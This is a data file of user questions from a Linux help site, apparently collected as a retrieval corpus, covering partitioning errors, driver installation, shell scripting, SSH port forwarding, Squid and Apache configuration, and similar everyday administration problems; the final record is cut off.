{"_id": "152401", "title": "Can not create new partition", "text": "I have Centos that have 508G free space i want to create new partition from it. it locates in extended partition ![enter image description here](http://i.stack.imgur.com/zoZmN.png) I create new partition and format it as anything (ext4, fat32), after apply it can't finish the process and gives me this error: An error occured while applying the operations See the details for more information. IMPORTANT If you want support, you need to provide the saved details! See http://gparted.sourceforge.net/larry/tips/save_details.htm for more information. and when i save the `save_details.htm` it contains this information: GParted 0.6.0 Libparted 2.1 Create Logical Partition #1 (fat32, 508.23 GiB) on /dev/sda 00:00:01 ( ERROR ) calibrate New Partition #1 00:00:00 ( SUCCESS ) path: /dev/sda-1 start: 184424448 end: 1250263039 size: 1065838592 (508.23 GiB) create empty partition 00:00:01 ( ERROR ) libparted messages ( INFO ) WARNING: the kernel failed to re-read the partition table on /dev/sda (Device or resource busy). As a result, it may not reflect all of your changes until after reboot. WARNING: the kernel failed to re-read the partition table on /dev/sda (Device or resource busy). As a result, it may not reflect all of your changes until after reboot. ======================================== I used fdisk and create `/dev/sda6` and I see partitions like this: $ sudo fdisk -l Disk /dev/sda: 640.1 GB, 640135028736 bytes 255 heads, 63 sectors/track, 77825 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0xa62a8bc3 Device Boot Start End Blocks Id System /dev/sda1 * 1 262 2097152 83 Linux Partition 1 does not end on cylinder boundary. /dev/sda2 262 5361 40960000 83 Linux /dev/sda3 5361 10460 40960000 83 Linux /dev/sda4 10460 77826 541113344 5 Extended /dev/sda5 10461 11480 8192000 82 Linux swap / Solaris /dev/sda6 11480 77825 532917056+ 83 Linux Partition 6 does not start on physical sector boundary. but when I use `mkfs` to format it I see this error: $ sudo mkfs -t ext4 /dev/sda6 mke2fs 1.41.12 (17-May-2010) Could not stat /dev/sda6 --- No such file or directory The device apparently does not exist; did you specify it correctly? what is the problem?"} {"_id": "128759", "title": "Wifi card not detected - Archlinux", "text": "I've recently installed Archlinux on my Asus N76V Notebook but the system doesn't seem to detect my wifi card. It is not listed in any of the normal detection commands : lspci 00:00.0 Host bridge: Intel Corporation 3rd Gen Core processor DRAM Controller (rev 09) 00:01.0 PCI bridge: Intel Corporation Xeon E3-1200 v2/3rd Gen Core processor PCI Express Root Port (rev 09) 00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09) 00:14.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB xHCI Host Controller (rev 04) 00:16.0 Communication controller: Intel Corporation 7 Series/C210 Series Chipset Family MEI Controller #1 (rev 04) 00:1a.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB Enhanced Host Controller #2 (rev 04) 00:1b.0 Audio device: Intel Corporation 7 Series/C210 Series Chipset Family High Definition Audio Controller (rev 04) 00:1c.0 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 1 (rev c4) 00:1c.1 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 2 (rev c4) 00:1c.3 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 4 (rev c4) 00:1d.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB Enhanced Host Controller #1 (rev 04) 00:1f.0 ISA bridge: Intel Corporation HM76 Express Chipset LPC Controller (rev 04) 00:1f.2 SATA controller: Intel Corporation 7 Series Chipset Family 6-port SATA Controller [AHCI mode] (rev 04) 00:1f.3 SMBus: Intel Corporation 7 Series/C210 Series Chipset Family SMBus Controller (rev 04) 01:00.0 VGA compatible controller: NVIDIA Corporation GF108M [GeForce GT 630M] (rev a1) 04:00.0 Ethernet controller: Qualcomm Atheros AR8161 Gigabit Ethernet (rev 08) lsusb Bus 004 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 004 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 004: ID 1bcf:2883 Sunplus Innovation Technology Inc. Bus 003 Device 003: ID 8087:07da Intel Corp. Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 046d:c52f Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub The interface for wifi is not installed : ip link 1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: enp4s0: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff How can I identify the wireless device and install the appropriate driver? I use Archlinux, up-to-date, with kernel 3.14.2."} {"_id": "115276", "title": "If I sudo execute a Bash script file, will all commands inside the Bash script be executed as sudo as well?", "text": "I want to write an automated post-installation script in Bash (called `post- install.sh`, for instance). The script will automatically add and update repositories, install and update packages, edit config files, etc. Now, if I execute this script, for instance with `sudo post-install.sh`, will I only be prompted for a `sudo` password once, or will I need to enter the `sudo` password on each invocation of a command inside the script, that needs `sudo` permission? In other words, do the commands inside the bash script 'inherit' the execution permissions, so to speak? And, if they indeed _do_ , is there still a possibility that the `sudo` permissions will time out (if, for instance, a particular command takes long enough to exceed the `sudo` timeout)? Or will the initial `sudo` password entrance last for the complete duration of whole script?"} {"_id": "10168", "title": "Mass .flac --> .mp3 transcoding: How to write a shell script that preserves ID3 tag information?", "text": "In recent weeks I've gone from a fairly 'hands-on' approach to .flac --> .mp3 transcoding, to one that's far more 'set & forget'. The first step was to stop using a GUI front end (Audacity with a LAME plug- in) and instead use the method I outlined here. The second step was to find a bash shell script that would tell that command loop to work recursively, allowing directories with many subdirectories containing .flac files to be transcoded in one simple step. That answer was provided by a user at askubuntu.com. Now I wish to learn how to further refine things so that ID3 tag information is preserved. The methods linked to above strip ID3 tag data, leaving the bare minimum (i.e. only the title field remains). Can anyone teach me how to write such a shell script? Many thanks in advance. * * * The shell script has been updated thus: #!/bin/bash file=\"$1\" flac -cd \"$file\" | lame --preset fast extreme - \"${file%.flac}.mp3\" id3cp \"$file\" \"${file%.flac}.mp3\" Doing `find . -name '*.flac' -exec ~/bin/flac2mp3 '{}' \\;` in ~/Desktop/stack gives the following output: 01 - Amon Tobin - Chomp Samba.flac: done LAME 3.98.4 64bits (http://www.mp3dev.org/) Using polyphase lowpass filter, transition band: 19383 Hz - 19916 Hz Encoding to ./01 - Amon Tobin - Chomp Samba.mp3 Encoding as 44.1 kHz j-stereo MPEG-1 Layer III VBR(q=0) Parsing ./01 - Amon Tobin - Chomp Samba.flac: done. Copying to ./01 - Amon Tobin - Chomp Samba.mp3: done `id3info` for the original .flac and resultant .mp3 gives, respectively: *** Tag information for 01 - Amon Tobin - Chomp Samba.flac (i.e. nothing); *** Tag information for 01 - Amon Tobin - Chomp Samba.mp3 *** mp3 info MPEG1/layer III Bitrate: 128KBps Frequency: 44KHz The .flac definitely has tag information. I can verify this by opening up EasyTAG. EasyTAG refers to this as 'FLAC Vorbis Tag' but 'ID3 Tag' for the .mp3. Is this the problem?"} {"_id": "10167", "title": "Keep newlines in output of cut", "text": "Let's imagine we have a file: foo bar foo1 bar1 I want to cut every second word in every line, so I want file to look like this: foo foo1 I am trying to use `cut -d ' ' -f -1` but what I get is: foo foo1 How can i preserve line endings in the file?"} {"_id": "72095", "title": "Switching on numlock by default in Linux Mint", "text": "Whenever I boot in to Linux Mint the NumLock is switched off by default. As my username consists of some numbers, I need to switch on NumLock each time. I want it to be switched on by default each time I log in. I had a look at the following question but could not find the `conf` file that the author is talking about: Enable num-lock as default in Linux I dual boot with Windows XP and Linux Mint 14 Mate using the default US Keyboard Layout."} {"_id": "14888", "title": "How to recover my directory structure and files from a messed-up partition", "text": "Something strange (don't ask) happened on my external hard-drive, resulting in (important) data being unreachable... I am failing to mount it. That data was sitting on a vfat filesystem. I can get much of it with one tool, foremost. It sorts it into directories by file type, but I need the data intact in its original directory structure. Also, this tool gives the resulting files some random names, and is limited to a set number of file types. It appears to me that the partition table is damaged (not sure), and I don't know how to fix it. Here's the output of **`gpart`** for the whole drive: # gpart -vd /dev/sdb dev(/dev/sdb) mss(512) chs(121601/255/63)(LBA) #s(1953520065) size(953867mb) Primary partition(1) type: 000(0x00)(unused) size: 0mb #s(0) s(0-0) chs: (0/0/0)-(0/0/0)d (0/0/0)-(0/0/0)r hex: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Primary partition(2) type: 000(0x00)(unused) size: 0mb #s(0) s(0-0) chs: (0/0/0)-(0/0/0)d (0/0/0)-(0/0/0)r hex: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Primary partition(3) type: 131(0x83)(Linux ext2 filesystem) size: 947827mb #s(1941150015) s(12370050-1953520064) chs: (770/0/1)-(1023/254/63)d (770/0/1)-(121600/254/63)r hex: 00 00 C1 02 83 FE FF FF 82 C0 BC 00 3F 99 B3 73 Primary partition(4) type: 000(0x00)(unused) size: 0mb #s(0) s(0-0) chs: (0/0/0)-(0/0/0)d (0/0/0)-(0/0/0)r hex: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 The one parition I'm interested in is one that's claimed to be **Linux ext2 filesystem**. That can't be accurate from my knowledge (it was vfat, but it could also have been NTFS, who knows). It also, that can't be accurate, according to another output of **`gpart`** (should I trust it?), this time specifying just that partition: # gpart -vd /dev/sdb3 dev(/dev/sdb3) mss(512) chs(120831/255/63)(LBA) #s(1941150015) size(947827mb) * Warning: strange partition table magic 0x606B. Primary partition(1) type: 031(0x1F)(UNKNOWN) size: 522639mb #s(1070366139) s(4182104394-5252470532) chs: (961/156/44)-(97/173/28)d (260323/244/28)-(59601/209/5)r hex: F7 9C EC C1 1F AD 1C 61 4A D9 45 F9 BB 7D CC 3F Primary partition(2) type: 249(0xF9)(UNKNOWN) size: 47812mb #s(97919955) s(4081875516-4179795470) chs: (993/11/62)-(249/64/22)d (254084/254/55)-(260180/59/54)r hex: D4 0B FE E1 F9 40 16 F9 3C 7A 4C F3 D3 23 D6 05 Primary partition(3) type: 211(0xD3)(UNKNOWN) size: 711401mb #s(1456950127) s(4249722057-5706672183) chs: (671/191/48)-(644/231/52)d (264532/245/43)-(87874/144/6)r hex: 63 BF B0 9F D3 E7 B4 84 C9 9C 4D FD 6F 4B D7 56 Primary partition(4) type: 089(0x59)(UNKNOWN) size: 715318mb #s(1464971513) s(1293543745-2758515257) chs: (1003/227/11)-(789/19/55)d (80519/95/26)-(171709/161/30)r hex: 43 E3 CB EB 59 13 F7 15 41 E9 19 4D F9 B0 51 57"} {"_id": "14889", "title": "Is it possible to record audio directly to a computer's optical drive?", "text": "There's a question over at audio.SE at the moment and I thought it may attract some answers here. I asked the user and he's happy to have it posted here to see if anyone has some ideas. Here it is verbatim: * * * I'm working with a client who needs to minimize the time between when recording is done and when the finalized audio CD ejects from the drive. All of the computer recording software I'm aware of will generate a file which can then be burned to an Audio CD. I know there is external hardware I could buy that would burn an analog stream directly to disc, but I'm wondering if any software exists that can achieve this with a computer's internal optical drive. Ideally for Mac, though if it only exists for Windows or Linux I would be interested to hear about it. (Other alternatives have been explored; I would much rather not deal with optical media at all, but this is a highly specialized situation.) * * * As to the source: \"It would likely be an external USB audio interface.\" If you need more info let me know."} {"_id": "14880", "title": "Rip an audio CD 1:1", "text": "Is there a way to rip an audio CD to an ISO9660 file? I've tried simple things like `dd` in the past and it hasn't worked. I'd like to essentially have a mirror image of exactly what's on the disk, not even necessarily a folder of WAV files. I do understand that I could rip the CD to WAV files or even FLAC files, but is there a way to just duplicate the disc to one file, so I could extract WAVs or FLACs from it later on? The idea is to be able to make a virtually identical copy of the source media."} {"_id": "72090", "title": "Why doesn't this variable assignment work when using tee?", "text": "Consider: $ FILE_NAME=`(cat somefile | head -1)` | tee -a dump.txt $ echo $FILE_NAME $ 1. Now, why doesn't the output of `(cat somefile | head -1)` reach the standard input of tee ..? 2. If the output reached tee, then it could copy it to dump.txt file and the standard output. 3. Also the variable `$FILE_NAME` does not receive the value."} {"_id": "14885", "title": "How to reset a shell environment?", "text": "This issue has been bugging me for a while, and although I've taught I've found my answer through EnvWatcher, unfortunately it only works on Bash. And I use zsh. I would like to replicate the things env-watcher does, to a lesser degree maybe, but I need to know if there is a command by which I could reset a shell to it's clean startup stage. As for example, I'd like to have the following workflow. source some-functions alias another-thing export SVN_EDITOR=vim RESET-ZSH # none of the above are valid any more Is there such a built in possibility, or am I chasing butterflies?"} {"_id": "95939", "title": "How exactly do I create a sed script and use it to edit a file?", "text": "I know how to edit a file using sed one step at a time, but how would I create an actual sed script and then use it on the file to do the same things that the individual sed commands would do? For example these 3 sed commands: > sed -i '4i\\ ' baconFile > > sed -i 's/,/\\t\\t/' baconFile > > sed -i 's/,/ /' baconFile"} {"_id": "45261", "title": "Audio quality issues with mpd", "text": "I have been using mpd for a long time now and absolutely love it. However, I recently added a few video files to the mpd database. Now I understand mpd won't play the video files, I don't want it to. But when mpd plays the audio track of the video file, there is a lot of static noise in the output. My other audio files work perfectly with mpd. As do these video files in other players like mplayer and vlc. This leads me to conclude that the audio track on these videos is not of bad quality. There is something wrong in the way mpd handles them. Can anyone suggest what might be wrong and how I can resolve it? Yes, I know I could rip the audio tracks out of my video files and play them using mpd, but I would rather fix this issue with mpd than do that. Just a matter of choice."} {"_id": "45267", "title": "What driver is behind a certain device file?", "text": "Given a device file, say `/dev/sdb`, is it possible to determine what driver is behind it? Specifically, I want to determine what driver my storage devices are using. `fdisk -l` lists 2 devices: `/dev/sda` and `/dev/sdb`. One is a SATA hard drive and the other is a USB Mass Storage device - actually an SD card. How do I determine, programmatically, which is which? I am writing a piece of software, and I want to protect the beginner from obliterating their hard drives, whilst allowing them to obliterate their SD cards."} {"_id": "45264", "title": "Grub fails after install it on my macbook pro", "text": "I'm trying to install Archlinux on my macbook in dual boot mode. I part the disk that way : /dev/sda1 -> EFI /dev/sda2 ->MacOS /dev/sda3 -> /boot /dev/sda4 -> / /dev/sda5 -> /home As i read in the docs i don't install grub on my MBR, i put it in sda3 - the boot partition. I did it with a Ubuntu Live Cd and the command : sudo grub- install --boot-directory=/media/boot_partition /dev/sda3 --force When i reboot my mac i can choose the Linux partition with rEFIT. But it only show the GRUB minimal bash... grub> I tried to fix it up, but nothing really works."} {"_id": "141078", "title": "More Information Regarding Upload Restriction in Squid Server", "text": "I've used `request_body_max_size 1024 KB` command in my `squid.conf` file and it is working in restricting my upload of files larger than 1 MB when I try to upload through upload sites. But I want to know why I am able to upload larger files to sendspace and wetransfer uploading site? Is there any way to customize uploading in `squid` server 3.1, so that if I want to upload bigger files larger than 1 MB, a screen of username and password will appear and when I enter correct username and password I can upload larger size files?"} {"_id": "141076", "title": "What are the disadvantages of uClibc?", "text": "I try to speed up my boot sequence, and somebody recommends to use the uClibc instead of Glibc. I've built an image with it, it gets smaller and faster to boot \u2014 but at which cost? Does anyone know the disadvantages of using uClibc as the C library?"} {"_id": "141075", "title": "Apache authentication mutiple domain but same subdirectory", "text": "I've got several sites: example.com, example1.com, and example2.com in my wordpress. All of them point to my server's `/public_html` folder, which is my Apache root folder. What do I need to add to my `.htaccess` file to use http authentication only if the user is coming from `example2.com/public_html`? `example.com/public_html` and `example1.com/public_html` should NOT use authentication."} {"_id": "45269", "title": "Regarding the server distributions", "text": "I am confused as to what defines a \"server\" distribution against a normal, desktop distribution. What I mean is that if you wanted a corporate server, you might be able to pick just about any linux distro and go, however for some reasons to which I appear to be oblivious to, you might want to roll with `SUSE Enterprise, or RED HAT Enterprise`. Why would someone want to choose a specific server distribution? Is it because of the support offered by the companies behind them? Is it that these companies often include proprietary tools in their distros, not normally found in others, to give them an edge? Is it something else? Please help me clarify things in my mind. Thank you in advance."} {"_id": "141072", "title": "Why is dd running forever on a 8 GB drive", "text": "I have a filesystem handled by ZFS and it's about 8 GB. I tried to zero out the filesystem by running: dd if=/dev/zero of=/EMPTY bs=1M | true rm -f /EMPTY And normally on an ext4 filesystem, it completes in a few seconds. But this time it just kept going. I was able to launch a second terminal and see what the size of `/EMPTY` was. And after running `ll -h`, it said that `/EMPTY` was 800 GB! Obviously 800 GB does not fit into 8 GB. Furthermore by running `df -h`, it showed that the filesystem wasn't getting filled up. However the dd as consuming 50% of the CPU.. etc, heating up my laptop. I'm assuming it was doing a lot of work but achieving nothing. So why is dd running forever creating a file that doesn't take up any size? On ext4 it's meant to complete and give me an error so I can proceed."} {"_id": "85705", "title": "Buildroot OpenGL Capable Backend", "text": "I'm trying to configure QT 5 through buildroot and some options are not available with the message `requires an OpenGL-capable backend`. I'm using buildroot 2013.08-rc1 but the same message comes up with 2013.05. I'm targeting x86_64 core2 platform and I can't find any options to select OpenGL backend (or OpenGL anything actually). How can I enable OpenGL backend in buildroot?"} {"_id": "85707", "title": "Peppermint linux issue on windows 8", "text": "I'm running an HP 2000 computer that came preinstalled with windows 8. I have peppermint fully set up on a partition, it's installed and ready to go. The only issue is that because of the way windows 8 and safe boot and Uefi are, I have to set up GRUB to act as the boot loader in order to run the Linux OS. I want to know how to do so, in simplest terms possible. I would also like to know if I could cause linux to activate by formatting the Partition that windows 8 is currently on, essentially, if I delete windows 8 then will the fully installed peppermint os on it's partition function? Been trying to figure this out for about a week now, and it's causing more and more hassle."} {"_id": "85706", "title": "Why can't pgrep find scripts started via env?", "text": "For example: $ cat foo.sh #!/usr/bin/env bash while true; do sleep 1 ; done $ ./foo.sh & $ pgrep foo.sh $ Contrast with: $ cat bar.sh #!/bin/bash while true; do sleep 1 ; done $ ./bar.sh & $ pgrep bar.sh 21202 The process started by `env bash` shows up in the output of `ps aux` as: terdon 4203 0.0 0.0 26676 6340 pts/3 S 17:23 0:00 /bin/bash while the one started with `/bin/bash` shows as terdon 9374 0.0 0.0 12828 1392 pts/3 S 17:27 0:00 /bin/bash ./bar.sh which probably explains why it the first is not being caught by `pgrep`. So, questions are: * Why does the name of the script not show up when called through `env`? * Does `pgrep` simply parse the output of `ps`? * Is there any way around this so that `pgrep` can show me scripts started via `env`?"} {"_id": "80953", "title": "change shell in Solaris/SunOS for your user only wihtout access to /etc/passwd", "text": "How do I set the shell in Solaris/SunOS for my user only, without access to `/etc/passwd` or any other `su` stuff? It should thereafter work both for interactive `ssh` (1) and `ssh` when you send commands (2). `uname -a` says `SunOS ... 5.10 Generic_148889-04 i86pc i386 i86pc` **Edit in response to comments and answers** There is no `chsh`. I can't do `/usr/bin/passwd -e` - permission denied. The default shell is bash. I would like zsh. I already tried to set the `SHELL` environment variable manually, and start the shell manually in the `.profile` file, only this doesn't work for my **second case** (2): `ssh user@host command` will run `command` in bash. As compared to getting my preferred shell when I login, it is minor, so the workaround is certainly worth mentioning, only, my intention with this question was to get it right the right way. Because it just relates to one user, I thought it was doable without involving the SA, but now I'm less certain. (But any workaround that solves (1) and (2) is cool, for sure.)"} {"_id": "44138", "title": "Replacing Mac OSX with Linux Distro, or FreeBSD", "text": "I have a Macbook Pro 8,2 and really want to make the switch to something a little less stubborn and a little more flexible than the proprietary Mac OS X. I am a bit frustrated with MacPorts lately and Homebrew. I also would like to make the transition to a tiling window manager such as Awesome, RatPoison, or Xmonad. In the past I have had problems getting the Mac's wireless card working as well as setting up the EFI installer to boot to GRUB or LILO. So, I am curious if anyone here has had any experiences with running a Linux Distro like Slackware, Archlinux, Debian or a Unix OS such as FreeBSD on their MacBook Pro."} {"_id": "125262", "title": "Port forwarding with ssh where the final destination does not have sshd running", "text": "I know how to use ssh to port forward a local port say like 7000 to a remote ssh server on port 50070. For example: ssh -L 7000:127.0.01:50070 root@sshserver \"Me port 7000\" - > \"ssherver port 50070\" But now say I have my \"sshserver\" at the office and I want to port forward my local port via the \"sshserver\" to the windows machine that has terminal services running on port 3389. To clarify the windows machine does not have sshd running. \"Me port 7000\" - > \"sshserver\" - > \"windows machine port 3389\" Is this possible with ssh?"} {"_id": "85702", "title": "smartd custom logfile on systemd + journald based system", "text": "An excerpt from smartd manpage reads: > **`-l FACILITY, --logfacility=FACILITY`** > `Uses syslog facility FACILITY to log the messages from smartd. Here > FACILITY is one of local0, local1, ..., local7, or daemon [default]. If this > command-line option is not used, then by default messages from smartd are > logged to the facility daemon.` Followed by steps how to accomplish this on a **syslog** based system. Apparently, if Arch Linux is up-to-date, it runs `journald` in conjunction with `systemd` for the same purpose. For the latter, I cannot find a way to configure facilities or whatnot. How to give `smartd` a logfile of it's own in a `journald` environment? * * * Mirrored from Arch Linux forums."} {"_id": "44135", "title": "awk function with a number parameter for the column you want to print", "text": "I want to use my awk shortcut as a function, so that I can pass the column number which then prints me the output. My aliases are: alias A=\"| awk '{print \\$1}' alias G=\"| grep -i' Instad of typing: ps -ef | grep mysql | awk 'print $2' I want to be able to type this: ps -ef G mysql A 2 Any suggestions? Thank you!"} {"_id": "136134", "title": "Firefox ignores settings in userContent.css (sometimes)", "text": "I have following code in my `$HOME/.mozilla/firefox/XXXXXXXX.default/chrome/userContent.css`: input, textarea { color:#000 !important; background-color: rgb(255, 255, 255) !important; } The purpose is to have input fields and text areas always black on white color. My desktop theme is dark and without this hack, firefox would display input and text area black text on dark gray backround, which is pretty much unreadable. This works well for most websites, but some websites are still displayed as before (black text on gray background). For example this website. I have installed `dom inspector` and verified that the element is of type `input`. But why then are my css settings ignored for this site? # SUBQUESTION: Is there some documentation/manual, where these configuration options are explained? i.e. how do I know the keyword is `background-color` and not `background`? Also, what else can I configure other than `input` and `textarea` ?"} {"_id": "125268", "title": "WiFi not working in Backtrack 5r3 Acer Aspire V3-571 Laptop having \u201cBroadcom Corporation NetLink BCM57785 Gigabit Ether\u201d integrated wireless card", "text": "I have installed backtrack 5r3 in one hard disk partition alongside with windows7 in another partition in Acer Aspire V3-571 laptop having \"Broadcom Corporation NetLink BCM57785 Gigabit Ether\" integrated wireless card. My problem is I could not make WiFi working in my laptop even after trying a lot of command and methods found by googling. I downloaded tg3 driver from broadcom website and hopefully installed it but all in vain. In some forum I found that some guys having the same issue with Broadcom 43XXX seriers wireless card had fixed their issue by using some sta driver package by broadcom specific for 43XXX series, but I noticed I have 57XXX series wireless card not the same. I could not find any working solution for BCM57785 wireless card. Here's what I did...... root@bt:~# cd /lib/firmware root@bt:/lib/firmware# unzip linux-3.133d.zip Archive: linux-3.133d.zip creating: Server/Linux/Driver/ inflating: Server/Linux/Driver/ChangeLog inflating: Server/Linux/Driver/README.TXT inflating: Server/Linux/Driver/tg3-3.133d-1.src.rpm inflating: Server/Linux/Driver/tg3-3.133d.tar.gz inflating: Server/Linux/Driver/tg3_sup-3.133d-1.ISO.tar.gz root@bt:/lib/firmware# root@bt:/lib/firmware# rpm -ivh tg3-3.133d.src.rpm The program 'rpm' is currently not installed. You can install it by typing: apt-get install rpm root@bt:/lib/firmware/Server/Linux/Driver# apt-get install rpm Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: libecryptfs0 libdmraid1.0.0.rc16 libdebconfclient0 ecryptfs-utils cryptsetup rdate bogl-bterm libdebian-installer4 reiserfsprogs dmraid python-pyicu Use 'apt-get autoremove' to remove them. The following extra packages will be installed: librpmbuild0 rpm2cpio Suggested packages: alien elfutils rpm-i18n The following NEW packages will be installed: librpmbuild0 rpm rpm2cpio 0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. Need to get 2,164kB of archives. After this operation, 2,818kB of additional disk space will be used. Do you want to continue [Y/n]? y Get:1 ................ revolution/main librpmbuild0 4.7.2-1lbuild1 [716kB] Get:2............ revolution/main rpm2cpio 4.7.2-1lbuild1 [651kB] Get:3 .................. revolution/main rpm 4.7.2-1lbuild1 [797kB] Fetched 2,164kB in 27s (77.4kB/s) Preconfiguring packages ... Selecting previously deselected package librpmbuild0. (Reading database ... 264111 files and directories currently installed.) Unpacking librpmbuild0 (from .../librpmbuild0_4.7.2-1lbuild1_amd64.deb) ... Selecting previously deselected package rpm2cpio. Unpacking rpm2cpio (from .../rpm2cpio_4.7.2-1lbuild1_amd64.deb) ... Selecting previously deselected package rpm. Unpacking rpm (from .../rpm_4.7.2-1lbuild1_amd64.deb) ... Processing triggers for man-db ... Setting up librpmbuild0 (4.7.2-1lbuild1) ... Setting up rpm2cpio (4.7.2-1lbuild1) ... Setting up rpm (4.7.2-1lbuild1) ... Trying rpm init... Processing triggers for libc-bin ... ldconfig deferred processing now taking place root@bt:/lib/firmware/Server/Linux/Driver# rpm -ivh tg3-3.133d.src.rpm rpm: please use alien to install rpm packages on Debian, if you are really sure use -- force-debian switch. See README.Debian for more details. root@bt:/lib/firmware/Server/Linux/Driver# rpm -ivh tg3-3.133d.src.rpm --force-debian error: open of tg3-3.133d.src.rpm failed: No such file or directory root@bt:/lib/firmware/Server/Linux/Driver# rpm -ivh tg3-3.133d.src.rpm rpm: please use alien to install rpm packages on Debian, if you are really sure use -- force-debian switch. See README.Debian for more details. root@bt:/lib/firmware/Server/Linux/Driver# cd root@bt:~# apt-get update Fetched 7,978kB in 1min 54s (69.6kB/s) Reading package lists... Done root@bt:~# apt-get install alien Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: libecryptfs0 libdmraid1.0.0.rc16 libdebconfclient0 ecryptfs-utils cryptsetup rdate bogl-bterm libdebian-installer4 reiserfsprogs dmraid python-pyicu Use 'apt-get autoremove' to remove them. The following extra packages will be installed: debhelper html2text Suggested packages: lsb-rpm lintian dh-make The following NEW packages will be installed: alien debhelper html2text 0 upgraded, 3 newly installed, 0 to remove and 35 not upgraded. Need to get 650kB of archives. After this operation, 1,991kB of additional disk space will be used. Do you want to continue [Y/n]? y Get:1 .................. revolution/main html2text 1.3.2a-14build1 [104kB] Get:2 ..................... revolution/main debhelper 7.4.15ubuntu1 [461kB] Get:3 ....................... revolution/main alien 8.79ubuntu0.1 [85.4kB] Fetched 650kB in 11s (55.7kB/s) Selecting previously deselected package html2text. (Reading database ... 264205 files and directories currently installed.) Unpacking html2text (from .../html2text_1.3.2a-14build1_amd64.deb) ... Selecting previously deselected package debhelper. Unpacking debhelper (from .../debhelper_7.4.15ubuntu1_all.deb) ... Selecting previously deselected package alien. Unpacking alien (from .../alien_8.79ubuntu0.1_all.deb) ... Processing triggers for man-db ... Setting up html2text (1.3.2a-14build1) ... Setting up debhelper (7.4.15ubuntu1) ... Setting up alien (8.79ubuntu0.1) ... root@bt:~# alien -k tg3-3.133d-1.src.rpm File \"tg3-3.133d-1.src.rpm\" not found. root@bt:~# cd /lib/firmware/Server/Linux/Driver root@bt:/lib/firmware/Server/Linux/Driver# alien -k tg3-3.133d-1.src.rpm error: incorrect format: unknown tag tg3_3.133d-1_amd64.deb generated root@bt:/lib/firmware/Server/Linux/Driver# alien -k tg3-3.133d-1.src.rpm error: incorrect format: unknown tag tg3_3.133d-1_amd64.deb generated root@bt:/lib/firmware/Server/Linux/Driver# dpkg tg3-3.133d-1.src.deb dpkg: need an action option Type dpkg --help for help about installing and deinstalling packages [*]; Use `dselect' or `aptitude' for user-friendly package management; Type dpkg -Dhelp for a list of dpkg debug flag values; Type dpkg --force-help for a list of forcing options; Type dpkg-deb --help for help about manipulating *.deb files; Type dpkg --license for copyright license and lack of warranty (GNU GPL) [*]. Options marked [*] produce a lot of output - pipe it through `less' or `more' ! root@bt:/lib/firmware/Server/Linux/Driver# dpkg -i tg3-3.133d-1.src.deb dpkg: error processing tg3-3.133d-1.src.deb (--install): cannot access archive: No such file or directory Errors were encountered while processing: tg3-3.133d-1.src.deb root@bt:/lib/firmware/Server/Linux/Driver# dpkg -i tg3_3.133d-1_amd64.deb Selecting previously deselected package tg3. (Reading database ... 264518 files and directories currently installed.) Unpacking tg3 (from tg3_3.133d-1_amd64.deb) ... Setting up tg3 (3.133d-1) ... root@bt:~# cd /lib/firmware/Server/Linux/Driver root@bt:/lib/firmware/Server/Linux/Driver# tar xvzf tg3-3.133d.tar.gz tg3-3.133d/ tg3-3.133d/tg3.h tg3-3.133d/tg3_vmware.h tg3-3.133d/README.TXT tg3-3.133d/ChangeLog tg3-3.133d/tg3_vmware.c tg3-3.133d/tg3_compat2.h tg3-3.133d/tg3_compat.h tg3-3.133d/tg3.c tg3-3.133d/LICENSE tg3-3.133d/makeflags.sh tg3-3.133d/tg3_firmware.h tg3-3.133d/tg3.4 tg3-3.133d/esx_ioctl.h tg3-3.133d/Makefile root@bt:/lib/modules/3.2.6/kernel/drivers/net# insmod tg3.ko insmod: error inserting 'tg3.ko': -1 File exists root@bt:/lib/modules/3.2.6/kernel/drivers/net# modprobe tg3 root@bt:/lib/modules/3.2.6/kernel/drivers/net# cd root@bt:~# cd /lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# insmod tg3.koinsmod: error inserting 'tg3.ko': -1 File exists root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# modprobe tg3 root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# cd src bash: cd: src: No such file or directory root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# make make: *** No targets specified and no makefile found. Stop. root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# make KVER=3.2.6 make: *** No targets specified and no makefile found. Stop. root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# insmod tg3 insmod: can't read 'tg3': No such file or directory root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# make install make: *** No rule to make target `install'. Stop. 